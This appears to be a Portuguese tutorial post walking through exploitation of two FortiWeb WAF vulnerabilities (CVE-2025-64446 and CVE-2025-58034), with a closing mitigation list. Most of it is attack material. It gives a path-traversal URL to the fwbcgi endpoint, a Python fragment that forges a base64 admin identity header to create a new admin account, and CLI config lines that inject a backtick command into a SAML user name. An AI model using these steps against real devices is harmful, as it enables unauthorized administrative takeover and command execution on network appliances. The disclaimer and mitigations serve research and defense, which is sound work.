Simulação de exploração do FortiWeb (CVE-2025-64446 & CVE-2025-58034)

Nota:

• Este documento serve apenas para fins de aprendizado e pesquisa em segurança.
• Não use para atacar sistemas sem autorização prévia.

1. Visão geral

FortiWeb é um dispositivo Web Application Firewall (WAF) usado para proteger aplicações web.

Em 2025, duas vulnerabilidades críticas foram descobertas:

• CVE-2025-64446 – Bypass de autenticação via Path Traversal
• CVE-2025-58034 – OS Command Injection

2. Visão geral do CVE-2025-64446

Exemplo:

/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. Visão geral do CVE-2025-58034

4. Processo de experimentação (POC)

4.1. Preparação do ambiente:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Isso ajuda a evitar conflitos de versão de bibliotecas, garante a estabilidade do ambiente de trabalho e reduz o impacto no sistema

4.2 Exploração

Payload

 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

Execute a ferramenta com Python3:

python3 exploit.py <IP_target>

• <IP_target>: O endereço IP aqui é o nome do host do dispositivo FortiWeb.

Obtém-se username e password -> proceda ao login

Exploração bem-sucedida e criação de uma nova conta com privilégios de admin.

4.3 Exploração do CVE-2025-58034 após login na conta

Após login bem-sucedido com a nova conta de administrador criada, o atacante pode explorar a vulnerabilidade de injeção de comandos autenticada através de requisições especialmente criadas ou diretamente pela interface de linha de comando do FortiWeb CLI:

config user saml-user

edit "`id`" ## insira o comando aqui

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

O FortiWeb sairá da string de configuração e executará o comando id durante o processo de configuração do saml-user.

5. Algumas formas de mitigar as vulnerabilidades

• Atualizar o FortiWeb para a versão corrigida.
• Restringir o acesso à interface de administração.
• Não expor a interface de gerenciamento à Internet.
• Verificar contas de admin suspeitas.

6. Referências adicionais

• CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034